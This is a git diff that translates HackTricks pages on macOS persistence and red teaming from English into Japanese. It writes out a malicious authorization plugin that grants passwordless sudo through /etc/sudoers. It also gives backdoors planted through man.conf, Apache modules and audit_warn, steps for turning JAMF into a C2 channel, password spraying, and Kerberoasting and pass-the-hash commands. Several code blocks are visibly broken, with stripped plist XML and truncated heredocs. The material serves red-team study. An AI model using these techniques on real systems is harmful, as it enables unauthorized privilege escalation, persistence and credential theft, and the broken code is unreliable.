you need to be root and make extra configs -- TCC bypass: ??? +- サンドボックスをバイパスするのに便利: [🟠](https://emojipedia.org/large-orange-circle) +- しかし、root権限が必要で、追加の設定が必要です +- TCCバイパス: ??? -#### Location +#### 場所 - `/Library/Security/SecurityAgentPlugins/` - - Root required - - It's also needed to configure the authorization database to use the plugin +- Rootが必要 +- プラグインを使用するために認証データベースを構成する必要があります -#### Description & Exploitation - -You can create an authorization plugin that will be executed when a user logs-in to maintain persistence. For more information about how to create one of these plugins check the previous writeups (and be careful, a poorly written one can lock you out and you will need to clean your mac from recovery mode). +#### 説明と悪用 +ユーザーがログインするときに実行される認証プラグインを作成して、持続性を維持できます。これらのプラグインの作成方法についての詳細は、前の書き込みを確認してください(注意してください、適切に書かれていないものはロックアウトされ、リカバリーモードからMacをクリーンアップする必要があります)。 ```objectivec // Compile the code and create a real bundle // gcc -bundle -framework Foundation main.m -o CustomAuth @@ -1403,74 +1308,64 @@ You can create an authorization plugin that will be executed when a user logs-in __attribute__((constructor)) static void run() { - NSLog(@"%@", @"[+] Custom Authorization Plugin was loaded"); - system("echo \"%staff ALL=(ALL) NOPASSWD:ALL\" >> /etc/sudoers"); +NSLog(@"%@", @"[+] Custom Authorization Plugin was loaded"); +system("echo \"%staff ALL=(ALL) NOPASSWD:ALL\" >> /etc/sudoers"); } ``` - -**Move** the bundle to the location to be loaded: - +**バンドル**を読み込む場所に移動します: ```bash cp -r CustomAuth.bundle /Library/Security/SecurityAgentPlugins/ ``` - -Finally add the **rule** to load this Plugin: - +最後に、このプラグインをロードする**ルール**を追加します: ```bash cat > /tmp/rule.plist < - class - evaluate-mechanisms - mechanisms - - CustomAuth:login,privileged - - +class +evaluate-mechanisms +mechanisms + +CustomAuth:login,privileged + +
EOF security authorizationdb write com.asdf.asdf < /tmp/rule.plist ``` +**`evaluate-mechanisms`**は、認証フレームワークに**外部メカニズムを呼び出す必要がある**ことを伝えます。さらに、**`privileged`**は、それをrootによって実行させます。 -The **`evaluate-mechanisms`** will tell the authorization framework that it will need to **call an external mechanism for authorization**. Moreover, **`privileged`** will make it be executed by root. - -Trigger it with: - +次のコマンドでトリガーします: ```bash security authorize com.asdf.asdf ``` - -And then the **staff group should have sudo** access (read `/etc/sudoers` to confirm). +そして、**スタッフグループはsudo**アクセスを持っている必要があります(確認するには`/etc/sudoers`を読む)。 ### Man.conf Writeup: [https://theevilbit.github.io/beyond/beyond_0030/](https://theevilbit.github.io/beyond/beyond_0030/) -- Useful to bypass sandbox: [🟠](https://emojipedia.org/large-orange-circle) - - But you need to be root and the user must use man -- TCC bypass: [🔴](https://emojipedia.org/large-red-circle) +- サンドボックスをバイパスするのに便利: [🟠](https://emojipedia.org/large-orange-circle) +- しかし、rootである必要があり、ユーザーはmanを使用する必要があります +- TCCバイパス: [🔴](https://emojipedia.org/large-red-circle) -#### Location +#### 場所 - **`/private/etc/man.conf`** - - Root required - - **`/private/etc/man.conf`**: Whenever man is used +- Rootが必要 +- **`/private/etc/man.conf`**: manが使用されるたびに -#### Description & Exploit +#### 説明とエクスプロイト -The config file **`/private/etc/man.conf`** indicate the binary/script to use when opening man documentation files. So the path to the executable could be modified so anytime the user uses man to read some docs a backdoor is executed. - -For example set in **`/private/etc/man.conf`**: +設定ファイル**`/private/etc/man.conf`**は、manドキュメントファイルを開くときに使用するバイナリ/スクリプトを示します。したがって、実行可能ファイルへのパスを変更することで、ユーザーがmanを使用してドキュメントを読むたびにバックドアが実行される可能性があります。 +例えば、**`/private/etc/man.conf`**に設定されている場合: ``` MANPAGER /tmp/view ``` - -And then create `/tmp/view` as: - +そして `/tmp/view` を作成します: ```bash #!/bin/zsh @@ -1478,40 +1373,34 @@ touch /tmp/manconf /usr/bin/less -s ``` - ### Apache2 **Writeup**: [https://theevilbit.github.io/beyond/beyond_0023/](https://theevilbit.github.io/beyond/beyond_0023/) -- Useful to bypass sandbox: [🟠](https://emojipedia.org/large-orange-circle) - - But you need to be root and apache needs to be running -- TCC bypass: [🔴](https://emojipedia.org/large-red-circle) - - Httpd doesn't have entitlements +- サンドボックスをバイパスするのに便利: [🟠](https://emojipedia.org/large-orange-circle) +- ただし、rootである必要があり、apacheが実行中である必要があります +- TCCバイパス: [🔴](https://emojipedia.org/large-red-circle) +- Httpdには権限がありません #### Location - **`/etc/apache2/httpd.conf`** - - Root required - - Trigger: When Apache2 is started +- Rootが必要 +- トリガー: Apache2が起動したとき #### Description & Exploit -You can indicate in `/etc/apache2/httpd.conf` to load a module adding a line such as: - +`/etc/apache2/httpd.conf`にモジュールをロードするように指示するために、次のような行を追加できます: ```bash LoadModule my_custom_module /Users/Shared/example.dylib "My Signature Authority" ``` +この方法で、コンパイルされたモジュールがApacheによってロードされます。唯一の条件は、**有効なApple証明書で署名する**か、**システムに新しい信頼された証明書を追加し**、それで**署名する**必要があります。 -This way your compiled moduled will be loaded by Apache. The only thing is that either you need to **sign it with a valid Apple certificate**, or you need to **add a new trusted certificate** in the system and **sign it** with it. - -Then, if needed , to make sure the server will be started you could execute: - +その後、必要に応じて、サーバーが起動することを確認するために、次のコマンドを実行できます: ```bash sudo launchctl load -w /System/Library/LaunchDaemons/org.apache.httpd.plist ``` - -Code example for the Dylb: - +Dylbのコード例: ```objectivec #include #include @@ -1519,107 +1408,98 @@ Code example for the Dylb: __attribute__((constructor)) static void myconstructor(int argc, const char **argv) { - printf("[+] dylib constructor called from %s\n", argv[0]); - syslog(LOG_ERR, "[+] dylib constructor called from %s\n", argv[0]); +printf("[+] dylib constructor called from %s\n", argv[0]); +syslog(LOG_ERR, "[+] dylib constructor called from %s\n", argv[0]); } ``` - -### BSM audit framework +### BSM監査フレームワーク Writeup: [https://theevilbit.github.io/beyond/beyond_0031/](https://theevilbit.github.io/beyond/beyond_0031/) -- Useful to bypass sandbox: [🟠](https://emojipedia.org/large-orange-circle) - - But you need to be root, auditd be running and cause a warning -- TCC bypass: [🔴](https://emojipedia.org/large-red-circle) +- サンドボックスをバイパスするのに便利: [🟠](https://emojipedia.org/large-orange-circle) +- ただし、root権限が必要で、auditdが実行中であり、警告を引き起こす必要があります +- TCCバイパス: [🔴](https://emojipedia.org/large-red-circle) -#### Location +#### 場所 - **`/etc/security/audit_warn`** - - Root required - - **Trigger**: When auditd detects a warning +- Rootが必要 +- **トリガー**: auditdが警告を検出したとき -#### Description & Exploit - -Whenever auditd detects a warning the script **`/etc/security/audit_warn`** is **executed**. So you could add your payload on it. +#### 説明とエクスプロイト +auditdが警告を検出するたびに、スクリプト**`/etc/security/audit_warn`**が**実行されます**。したがって、そこにペイロードを追加することができます。 ```bash echo "touch /tmp/auditd_warn" >> /etc/security/audit_warn ``` +`sudo audit -n`を使用して警告を強制することができます。 -You could force a warning with `sudo audit -n`. +### スタートアップ項目 -### Startup Items +> [!CAUTION] > **これは非推奨であるため、これらのディレクトリには何も見つからないはずです。** -> [!CAUTION] > **This is deprecated, so nothing should be found in those directories.** +**StartupItem**は、`/Library/StartupItems/`または`/System/Library/StartupItems/`のいずれかに配置されるべきディレクトリです。このディレクトリが確立されると、2つの特定のファイルを含む必要があります: -The **StartupItem** is a directory that should be positioned within either `/Library/StartupItems/` or `/System/Library/StartupItems/`. Once this directory is established, it must encompass two specific files: +1. **rcスクリプト**:スタートアップ時に実行されるシェルスクリプト。 +2. **plistファイル**:特に`StartupParameters.plist`という名前のファイルで、さまざまな設定が含まれています。 -1. An **rc script**: A shell script executed at startup. -2. A **plist file**, specifically named `StartupParameters.plist`, which contains various configuration settings. - -Ensure that both the rc script and the `StartupParameters.plist` file are correctly placed inside the **StartupItem** directory for the startup process to recognize and utilize them. +スタートアッププロセスがそれらを認識し利用できるように、rcスクリプトと`StartupParameters.plist`ファイルの両方が**StartupItem**ディレクトリ内に正しく配置されていることを確認してください。 {{#tabs}} {{#tab name="StartupParameters.plist"}} - ```xml - Description - This is a description of this service - OrderPreference - None - Provides - - superservicename - +Description +This is a description of this service +OrderPreference +None +Provides + +superservicename + ``` - {{#endtab}} {{#tab name="superservicename"}} - ```bash #!/bin/sh . /etc/rc.common StartService(){ - touch /tmp/superservicestarted +touch /tmp/superservicestarted } StopService(){ - rm /tmp/superservicestarted +rm /tmp/superservicestarted } RestartService(){ - echo "Restarting" +echo "Restarting" } RunService "$1" ``` - {{#endtab}} {{#endtabs}} ### ~~emond~~ > [!CAUTION] -> I cannot find this component in my macOS so for more info check the writeup +> 私のmacOSではこのコンポーネントを見つけることができないので、詳細については記事を確認してください -Writeup: [https://theevilbit.github.io/beyond/beyond_0023/](https://theevilbit.github.io/beyond/beyond_0023/) +記事: [https://theevilbit.github.io/beyond/beyond_0023/](https://theevilbit.github.io/beyond/beyond_0023/) -Introduced by Apple, **emond** is a logging mechanism that seems to be underdeveloped or possibly abandoned, yet it remains accessible. While not particularly beneficial for a Mac administrator, this obscure service could serve as a subtle persistence method for threat actors, likely unnoticed by most macOS admins. - -For those aware of its existence, identifying any malicious usage of **emond** is straightforward. The system's LaunchDaemon for this service seeks scripts to execute in a single directory. To inspect this, the following command can be used: +Appleによって導入された**emond**は、未発達または放棄された可能性のあるログ記録メカニズムですが、依然としてアクセス可能です。Mac管理者にとって特に有益ではありませんが、この不明瞭なサービスは、脅威アクターにとって微妙な持続性の手段となる可能性があり、ほとんどのmacOS管理者には気づかれないでしょう。 +その存在を知っている人にとって、**emond**の悪用を特定することは簡単です。このサービスのシステムのLaunchDaemonは、単一のディレクトリ内で実行するスクリプトを探します。これを調査するには、次のコマンドを使用できます: ```bash ls -l /private/var/db/emondClients ``` - ### ~~XQuartz~~ Writeup: [https://theevilbit.github.io/beyond/beyond_0018/](https://theevilbit.github.io/beyond/beyond_0018/) @@ -1627,29 +1507,28 @@ Writeup: [https://theevilbit.github.io/beyond/beyond_0018/](https://theevilbit.g #### Location - **`/opt/X11/etc/X11/xinit/privileged_startx.d`** - - Root required - - **Trigger**: With XQuartz +- Root required +- **Trigger**: With XQuartz #### Description & Exploit -XQuartz is **no longer installed in macOS**, so if you want more info check the writeup. +XQuartzは**macOSにもはやインストールされていません**ので、詳細についてはワ writeupを確認してください。 ### ~~kext~~ > [!CAUTION] -> It's so complicated to install kext even as root taht I won't consider this to escape from sandboxes or even for persistence (unless you have an exploit) +> kextをインストールするのは非常に複雑で、ルートとしてもサンドボックスからの脱出や持続性のためには考慮しません(エクスプロイトがない限り) #### Location -In order to install a KEXT as a startup item, it needs to be **installed in one of the following locations**: +KEXTをスタートアップアイテムとしてインストールするには、**次のいずれかの場所にインストールする必要があります**: - `/System/Library/Extensions` - - KEXT files built into the OS X operating system. +- OS Xオペレーティングシステムに組み込まれたKEXTファイル。 - `/Library/Extensions` - - KEXT files installed by 3rd party software - -You can list currently loaded kext files with: +- サードパーティソフトウェアによってインストールされたKEXTファイル +現在ロードされているkextファイルをリストするには、次のコマンドを使用できます: ```bash kextstat #List loaded kext kextload /path/to/kext.kext #Load a new one based on path @@ -1657,44 +1536,42 @@ kextload -b com.apple.driver.ExampleBundle #Load a new one based on path kextunload /path/to/kext.kext kextunload -b com.apple.driver.ExampleBundle ``` - -For more information about [**kernel extensions check this section**](macos-security-and-privilege-escalation/mac-os-architecture/#i-o-kit-drivers). +より詳しい情報は[**カーネル拡張についてはこのセクションを確認してください**](macos-security-and-privilege-escalation/mac-os-architecture/#i-o-kit-drivers)を参照してください。 ### ~~amstoold~~ Writeup: [https://theevilbit.github.io/beyond/beyond_0029/](https://theevilbit.github.io/beyond/beyond_0029/) -#### Location +#### 場所 - **`/usr/local/bin/amstoold`** - - Root required +- ルート権限が必要 -#### Description & Exploitation +#### 説明と悪用 -Apparently the `plist` from `/System/Library/LaunchAgents/com.apple.amstoold.plist` was using this binary while exposing a XPC service... the thing is that the binary didn't exist, so you could place something there and when the XPC service gets called your binary will be called. +どうやら`/System/Library/LaunchAgents/com.apple.amstoold.plist`の`plist`は、このバイナリを使用してXPCサービスを公開していたようです... しかし、そのバイナリは存在しなかったため、そこに何かを置くことができ、XPCサービスが呼び出されるとあなたのバイナリが呼び出されます。 -I can no longer find this in my macOS. +私のmacOSではこれを見つけることができません。 ### ~~xsanctl~~ Writeup: [https://theevilbit.github.io/beyond/beyond_0015/](https://theevilbit.github.io/beyond/beyond_0015/) -#### Location +#### 場所 - **`/Library/Preferences/Xsan/.xsanrc`** - - Root required - - **Trigger**: When the service is run (rarely) +- ルート権限が必要 +- **トリガー**: サービスが実行されるとき(稀) -#### Description & exploit +#### 説明と悪用 -Apparently it's not very common to run this script and I couldn't even find it in my macOS, so if you want more info check the writeup. +どうやらこのスクリプトを実行することはあまり一般的ではなく、私のmacOSでも見つけることができなかったので、詳細が必要な場合はwriteupを確認してください。 ### ~~/etc/rc.common~~ -> [!CAUTION] > **This isn't working in modern MacOS versions** - -It's also possible to place here **commands that will be executed at startup.** Example os regular rc.common script: +> [!CAUTION] > **これは最新のMacOSバージョンでは機能しません** +ここに**起動時に実行されるコマンドを配置することも可能です。** 通常のrc.commonスクリプトの例: ```bash # # Common setup for startup scripts. @@ -1734,16 +1611,16 @@ PATH=/bin:/sbin:/usr/bin:/usr/sbin:/usr/libexec:/System/Library/CoreServices; ex # CheckForNetwork() { - local test +local test - if [ -z "${NETWORKUP:=}" ]; then - test=$(ifconfig -a inet 2>/dev/null | sed -n -e '/127.0.0.1/d' -e '/0.0.0.0/d' -e '/inet/p' | wc -l) - if [ "${test}" -gt 0 ]; then - NETWORKUP="-YES-" - else - NETWORKUP="-NO-" - fi - fi +if [ -z "${NETWORKUP:=}" ]; then +test=$(ifconfig -a inet 2>/dev/null | sed -n -e '/127.0.0.1/d' -e '/0.0.0.0/d' -e '/inet/p' | wc -l) +if [ "${test}" -gt 0 ]; then +NETWORKUP="-YES-" +else +NETWORKUP="-NO-" +fi +fi } alias ConsoleMessage=echo @@ -1753,25 +1630,25 @@ alias ConsoleMessage=echo # GetPID () { - local program="$1" - local pidfile="${PIDFILE:=/var/run/${program}.pid}" - local pid="" +local program="$1" +local pidfile="${PIDFILE:=/var/run/${program}.pid}" +local pid="" - if [ -f "${pidfile}" ]; then - pid=$(head -1 "${pidfile}") - if ! kill -0 "${pid}" 2> /dev/null; then - echo "Bad pid file $pidfile; deleting." - pid="" - rm -f "${pidfile}" - fi - fi +if [ -f "${pidfile}" ]; then +pid=$(head -1 "${pidfile}") +if ! kill -0 "${pid}" 2> /dev/null; then +echo "Bad pid file $pidfile; deleting." +pid="" +rm -f "${pidfile}" +fi +fi - if [ -n "${pid}" ]; then - echo "${pid}" - return 0 - else - return 1 - fi +if [ -n "${pid}" ]; then +echo "${pid}" +return 0 +else +return 1 +fi } # @@ -1779,16 +1656,15 @@ GetPID () # RunService () { - case $1 in - start ) StartService ;; - stop ) StopService ;; - restart) RestartService ;; - * ) echo "$0: unknown argument: $1";; - esac +case $1 in +start ) StartService ;; +stop ) StopService ;; +restart) RestartService ;; +* ) echo "$0: unknown argument: $1";; +esac } ``` - -## Persistence techniques and tools +## 永続性技術とツール - [https://github.com/cedowens/Persistent-Swift](https://github.com/cedowens/Persistent-Swift) - [https://github.com/D00MFist/PersistentJXA](https://github.com/D00MFist/PersistentJXA) diff --git a/src/macos-hardening/macos-red-teaming/README.md b/src/macos-hardening/macos-red-teaming/README.md index 3701205f8..3efb171ed 100644 --- a/src/macos-hardening/macos-red-teaming/README.md +++ b/src/macos-hardening/macos-red-teaming/README.md @@ -2,109 +2,97 @@ {{#include ../../banners/hacktricks-training.md}} -
- -**Get a hacker's perspective on your web apps, network, and cloud** - -**Find and report critical, exploitable vulnerabilities with real business impact.** Use our 20+ custom tools to map the attack surface, find security issues that let you escalate privileges, and use automated exploits to collect essential evidence, turning your hard work into persuasive reports. - -{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %} - -## Abusing MDMs +## MDMの悪用 - JAMF Pro: `jamf checkJSSConnection` - Kandji -If you manage to **compromise admin credentials** to access the management platform, you can **potentially compromise all the computers** by distributing your malware in the machines. +管理プラットフォームにアクセスするために**管理者資格情報を侵害**することができれば、マシンにマルウェアを配布することで**すべてのコンピュータを侵害する可能性があります**。 -For red teaming in MacOS environments it's highly recommended to have some understanding of how the MDMs work: +MacOS環境でのレッドチーミングには、MDMの動作についての理解が非常に推奨されます: {{#ref}} macos-mdm/ {{#endref}} -### Using MDM as a C2 +### MDMをC2として使用する -A MDM will have permission to install, query or remove profiles, install applications, create local admin accounts, set firmware password, change the FileVault key... +MDMは、プロファイルのインストール、クエリまたは削除、アプリケーションのインストール、ローカル管理者アカウントの作成、ファームウェアパスワードの設定、FileVaultキーの変更を行う権限を持っています... -In order to run your own MDM you need to **your CSR signed by a vendor** which you could try to get with [**https://mdmcert.download/**](https://mdmcert.download/). And to run your own MDM for Apple devices you could use [**MicroMDM**](https://github.com/micromdm/micromdm). +独自のMDMを実行するには、**ベンダーによって署名されたCSRが必要**で、[**https://mdmcert.download/**](https://mdmcert.download/)から取得を試みることができます。また、Appleデバイス用の独自のMDMを実行するには、[**MicroMDM**](https://github.com/micromdm/micromdm)を使用できます。 -However, to install an application in an enrolled device, you still need it to be signed by a developer account... however, upon MDM enrolment the **device adds the SSL cert of the MDM as a trusted CA**, so you can now sign anything. +ただし、登録されたデバイスにアプリケーションをインストールするには、開発者アカウントによって署名されている必要があります... しかし、MDM登録時に**デバイスはMDMのSSL証明書を信頼されたCAとして追加**するため、今では何でも署名できます。 -To enrol the device in a MDM you. need to install a **`mobileconfig`** file as root, which could be delivered via a **pkg** file (you could compress it in zip and when downloaded from safari it will be decompressed). +デバイスをMDMに登録するには、**`mobileconfig`**ファイルをルートとしてインストールする必要があり、これは**pkg**ファイルを介して配布できます(zipで圧縮し、Safariからダウンロードすると解凍されます)。 -**Mythic agent Orthrus** uses this technique. +**Mythic agent Orthrus**はこの技術を使用しています。 -### Abusing JAMF PRO +### JAMF PROの悪用 -JAMF can run **custom scripts** (scripts developed by the sysadmin), **native payloads** (local account creation, set EFI password, file/process monitoring...) and **MDM** (device configurations, device certificates...). +JAMFは**カスタムスクリプト**(システム管理者によって開発されたスクリプト)、**ネイティブペイロード**(ローカルアカウントの作成、EFIパスワードの設定、ファイル/プロセスの監視...)および**MDM**(デバイスの構成、デバイス証明書...)を実行できます。 -#### JAMF self-enrolment +#### JAMF自己登録 -Go to a page such as `https://.jamfcloud.com/enroll/` to see if they have **self-enrolment enabled**. If they have it might **ask for credentials to access**. +`https://.jamfcloud.com/enroll/`のようなページにアクセスして、**自己登録が有効**かどうかを確認します。有効な場合、**アクセスするための資格情報を要求**されるかもしれません。 -You could use the script [**JamfSniper.py**](https://github.com/WithSecureLabs/Jamf-Attack-Toolkit/blob/master/JamfSniper.py) to perform a password spraying attack. +スクリプト[**JamfSniper.py**](https://github.com/WithSecureLabs/Jamf-Attack-Toolkit/blob/master/JamfSniper.py)を使用してパスワードスプレー攻撃を実行できます。 -Moreover, after finding proper credentials you could be able to brute-force other usernames with the next form: +さらに、適切な資格情報を見つけた後、次のフォームを使用して他のユーザー名をブルートフォース攻撃できるかもしれません: ![](<../../images/image (107).png>) -#### JAMF device Authentication +#### JAMFデバイス認証
-The **`jamf`** binary contained the secret to open the keychain which at the time of the discovery was **shared** among everybody and it was: **`jk23ucnq91jfu9aj`**.\ -Moreover, jamf **persist** as a **LaunchDaemon** in **`/Library/LaunchAgents/com.jamf.management.agent.plist`** +**`jamf`**バイナリには、キーチェーンを開くための秘密が含まれており、発見時には**誰もが共有**していました。それは:**`jk23ucnq91jfu9aj`**です。\ +さらに、jamfは**`/Library/LaunchAgents/com.jamf.management.agent.plist`**に**LaunchDaemon**として**持続**します。 -#### JAMF Device Takeover - -The **JSS** (Jamf Software Server) **URL** that **`jamf`** will use is located in **`/Library/Preferences/com.jamfsoftware.jamf.plist`**.\ -This file basically contains the URL: +#### JAMFデバイスタケオーバー +**JSS**(Jamf Software Server)**URL**は、**`jamf`**が使用するもので、**`/Library/Preferences/com.jamfsoftware.jamf.plist`**にあります。\ +このファイルには基本的にURLが含まれています: ```bash plutil -convert xml1 -o - /Library/Preferences/com.jamfsoftware.jamf.plist [...] - is_virtual_machine - - jss_url - https://halbornasd.jamfcloud.com/ - last_management_framework_change_id - 4 +is_virtual_machine + +jss_url +https://halbornasd.jamfcloud.com/ +last_management_framework_change_id +4 [...] ``` - -So, an attacker could drop a malicious package (`pkg`) that **overwrites this file** when installed setting the **URL to a Mythic C2 listener from a Typhon agent** to now be able to abuse JAMF as C2. - +攻撃者は、インストール時にこのファイルを**上書きする**悪意のあるパッケージ(`pkg`)をドロップし、**TyphonエージェントからのMythic C2リスナーへのURLを設定する**ことで、JAMFをC2として悪用できるようになります。 ```bash # After changing the URL you could wait for it to be reloaded or execute: sudo jamf policy -id 0 # TODO: There is an ID, maybe it's possible to have the real jamf connection and another one to the C2 ``` +#### JAMFなりすまし -#### JAMF Impersonation +デバイスとJMF間の**通信をなりすます**には、以下が必要です: -In order to **impersonate the communication** between a device and JMF you need: +- デバイスの**UUID**: `ioreg -d2 -c IOPlatformExpertDevice | awk -F" '/IOPlatformUUID/{print $(NF-1)}'` +- デバイス証明書を含む**JAMFキーチェーン**: `/Library/Application\ Support/Jamf/JAMF.keychain` -- The **UUID** of the device: `ioreg -d2 -c IOPlatformExpertDevice | awk -F" '/IOPlatformUUID/{print $(NF-1)}'` -- The **JAMF keychain** from: `/Library/Application\ Support/Jamf/JAMF.keychain` which contains the device certificate +この情報をもとに、**盗まれた**ハードウェア**UUID**を持ち、**SIPを無効にした**VMを**作成**し、**JAMFキーチェーンをドロップ**し、Jamf**エージェントをフック**してその情報を盗みます。 -With this information, **create a VM** with the **stolen** Hardware **UUID** and with **SIP disabled**, drop the **JAMF keychain,** **hook** the Jamf **agent** and steal its information. - -#### Secrets stealing +#### 秘密の盗難

a

-You could also monitor the location `/Library/Application Support/Jamf/tmp/` for the **custom scripts** admins might want to execute via Jamf as they are **placed here, executed and removed**. These scripts **might contain credentials**. +また、管理者がJamfを介して実行したい**カスタムスクリプト**のために、`/Library/Application Support/Jamf/tmp/`の場所を監視することもできます。これらのスクリプトは**ここに配置され、実行され、削除されます**。これらのスクリプトには**資格情報が含まれている可能性があります**。 -However, **credentials** might be passed tho these scripts as **parameters**, so you would need to monitor `ps aux | grep -i jamf` (without even being root). +ただし、**資格情報**はこれらのスクリプトに**パラメータ**として渡される可能性があるため、`ps aux | grep -i jamf`を監視する必要があります(ルートでなくても)。 -The script [**JamfExplorer.py**](https://github.com/WithSecureLabs/Jamf-Attack-Toolkit/blob/master/JamfExplorer.py) can listen for new files being added and new process arguments. +スクリプト[**JamfExplorer.py**](https://github.com/WithSecureLabs/Jamf-Attack-Toolkit/blob/master/JamfExplorer.py)は、新しいファイルが追加されたり、新しいプロセス引数が追加されたりするのをリッスンできます。 -### macOS Remote Access +### macOSリモートアクセス -And also about **MacOS** "special" **network** **protocols**: +また、**MacOS**の「特別な」**ネットワーク****プロトコル**についても: {{#ref}} ../macos-security-and-privilege-escalation/macos-protocols.md @@ -112,7 +100,7 @@ And also about **MacOS** "special" **network** **protocols**: ## Active Directory -In some occasions you will find that the **MacOS computer is connected to an AD**. In this scenario you should try to **enumerate** the active directory as you are use to it. Find some **help** in the following pages: +場合によっては、**MacOSコンピュータがADに接続されている**ことがあります。このシナリオでは、慣れているようにアクティブディレクトリを**列挙**しようとするべきです。以下のページで**ヘルプ**を見つけてください: {{#ref}} ../../network-services-pentesting/pentesting-ldap.md @@ -126,41 +114,36 @@ In some occasions you will find that the **MacOS computer is connected to an AD* ../../network-services-pentesting/pentesting-kerberos-88/ {{#endref}} -Some **local MacOS tool** that may also help you is `dscl`: - +役立つ可能性のある**ローカルMacOSツール**は`dscl`です: ```bash dscl "/Active Directory/[Domain]/All Domains" ls / ``` +また、ADを自動的に列挙し、Kerberosを操作するためにMacOS用に準備されたツールがあります: -Also there are some tools prepared for MacOS to automatically enumerate the AD and play with kerberos: - -- [**Machound**](https://github.com/XMCyber/MacHound): MacHound is an extension to the Bloodhound audting tool allowing collecting and ingesting of Active Directory relationships on MacOS hosts. -- [**Bifrost**](https://github.com/its-a-feature/bifrost): Bifrost is an Objective-C project designed to interact with the Heimdal krb5 APIs on macOS. The goal of the project is to enable better security testing around Kerberos on macOS devices using native APIs without requiring any other framework or packages on the target. -- [**Orchard**](https://github.com/its-a-feature/Orchard): JavaScript for Automation (JXA) tool to do Active Directory enumeration. - -### Domain Information +- [**Machound**](https://github.com/XMCyber/MacHound): MacHoundは、MacOSホスト上のActive Directory関係を収集および取り込むことを可能にするBloodhound監査ツールの拡張です。 +- [**Bifrost**](https://github.com/its-a-feature/bifrost): Bifrostは、macOS上のHeimdal krb5 APIと対話するために設計されたObjective-Cプロジェクトです。このプロジェクトの目標は、ターゲットに他のフレームワークやパッケージを必要とせずに、ネイティブAPIを使用してmacOSデバイス上のKerberosに関するセキュリティテストを向上させることです。 +- [**Orchard**](https://github.com/its-a-feature/Orchard): Active Directory列挙を行うためのJavaScript for Automation (JXA)ツールです。 +### ドメイン情報 ```bash echo show com.apple.opendirectoryd.ActiveDirectory | scutil ``` +### ユーザー -### Users +MacOSのユーザーには3種類があります: -The three types of MacOS users are: +- **ローカルユーザー** — ローカルOpenDirectoryサービスによって管理され、Active Directoryとは一切接続されていません。 +- **ネットワークユーザー** — 認証のためにDCサーバーへの接続を必要とする揮発性のActive Directoryユーザーです。 +- **モバイルユーザー** — 認証情報とファイルのローカルバックアップを持つActive Directoryユーザーです。 -- **Local Users** — Managed by the local OpenDirectory service, they aren’t connected in any way to the Active Directory. -- **Network Users** — Volatile Active Directory users who require a connection to the DC server to authenticate. -- **Mobile Users** — Active Directory users with a local backup for their credentials and files. +ユーザーとグループに関するローカル情報は、フォルダー _/var/db/dslocal/nodes/Default._ に保存されています。\ +例えば、_mark_ というユーザーに関する情報は _/var/db/dslocal/nodes/Default/users/mark.plist_ に保存されており、_admin_ グループに関する情報は _/var/db/dslocal/nodes/Default/groups/admin.plist_ にあります。 -The local information about users and groups is stored in in the folder _/var/db/dslocal/nodes/Default._\ -For example, the info about user called _mark_ is stored in _/var/db/dslocal/nodes/Default/users/mark.plist_ and the info about the group _admin_ is in _/var/db/dslocal/nodes/Default/groups/admin.plist_. - -In addition to using the HasSession and AdminTo edges, **MacHound adds three new edges** to the Bloodhound database: - -- **CanSSH** - entity allowed to SSH to host -- **CanVNC** - entity allowed to VNC to host -- **CanAE** - entity allowed to execute AppleEvent scripts on host +HasSessionおよびAdminToエッジを使用することに加えて、**MacHoundはBloodhoundデータベースに3つの新しいエッジを追加します**: +- **CanSSH** - ホストにSSH接続を許可されたエンティティ +- **CanVNC** - ホストにVNC接続を許可されたエンティティ +- **CanAE** - ホスト上でAppleEventスクリプトを実行することを許可されたエンティティ ```bash #User enumeration dscl . ls /Users @@ -182,71 +165,60 @@ dscl "/Active Directory/TEST/All Domains" read "/Groups/[groupname]" #Domain Information dsconfigad -show ``` +[https://its-a-feature.github.io/posts/2018/01/Active-Directory-Discovery-with-a-Mac/](https://its-a-feature.github.io/posts/2018/01/Active-Directory-Discovery-with-a-Mac/) -More info in [https://its-a-feature.github.io/posts/2018/01/Active-Directory-Discovery-with-a-Mac/](https://its-a-feature.github.io/posts/2018/01/Active-Directory-Discovery-with-a-Mac/) - -### Computer$ password - -Get passwords using: +### Computer$ パスワード +次の方法でパスワードを取得します: ```bash bifrost --action askhash --username [name] --password [password] --domain [domain] ``` - -It's possible to access the **`Computer$`** password inside the System keychain. +**`Computer$`** パスワードにシステムキーチェーン内でアクセスすることが可能です。 ### Over-Pass-The-Hash -Get a TGT for an specific user and service: - +特定のユーザーとサービスのためにTGTを取得します: ```bash bifrost --action asktgt --username [user] --domain [domain.com] \ - --hash [hash] --enctype [enctype] --keytab [/path/to/keytab] +--hash [hash] --enctype [enctype] --keytab [/path/to/keytab] ``` - -Once the TGT is gathered, it's possible to inject it in the current session with: - +TGTが収集されると、次のコマンドで現在のセッションに注入することが可能です: ```bash bifrost --action asktgt --username test_lab_admin \ - --hash CF59D3256B62EE655F6430B0F80701EE05A0885B8B52E9C2480154AFA62E78 \ - --enctype aes256 --domain test.lab.local +--hash CF59D3256B62EE655F6430B0F80701EE05A0885B8B52E9C2480154AFA62E78 \ +--enctype aes256 --domain test.lab.local ``` - ### Kerberoasting - ```bash bifrost --action asktgs --spn [service] --domain [domain.com] \ - --username [user] --hash [hash] --enctype [enctype] +--username [user] --hash [hash] --enctype [enctype] ``` - -With obtained service tickets it's possible to try to access shares in other computers: - +取得したサービスチケットを使用して、他のコンピュータの共有にアクセスしようとすることが可能です: ```bash smbutil view //computer.fqdn mount -t smbfs //server/folder /local/mount/point ``` +## キーチェーンへのアクセス -## Accessing the Keychain - -The Keychain highly probably contains sensitive information that if accessed without generating a prompt could help to move forward a red team exercise: +キーチェーンには、プロンプトを生成せずにアクセスされた場合、レッドチーム演習を進めるのに役立つ可能性のある機密情報が含まれている可能性が高いです: {{#ref}} macos-keychain.md {{#endref}} -## External Services +## 外部サービス -MacOS Red Teaming is different from a regular Windows Red Teaming as usually **MacOS is integrated with several external platforms directly**. A common configuration of MacOS is to access to the computer using **OneLogin synchronised credentials, and accessing several external services** (like github, aws...) via OneLogin. +MacOSのレッドチーミングは、通常**MacOSがいくつかの外部プラットフォームと直接統合されている**ため、通常のWindowsレッドチーミングとは異なります。MacOSの一般的な構成は、**OneLoginで同期された資格情報を使用してコンピュータにアクセスし、OneLoginを介していくつかの外部サービス**(github、awsなど)にアクセスすることです。 -## Misc Red Team techniques +## その他のレッドチーム技術 ### Safari -When a file is downloaded in Safari, if its a "safe" file, it will be **automatically opened**. So for example, if you **download a zip**, it will be automatically decompressed: 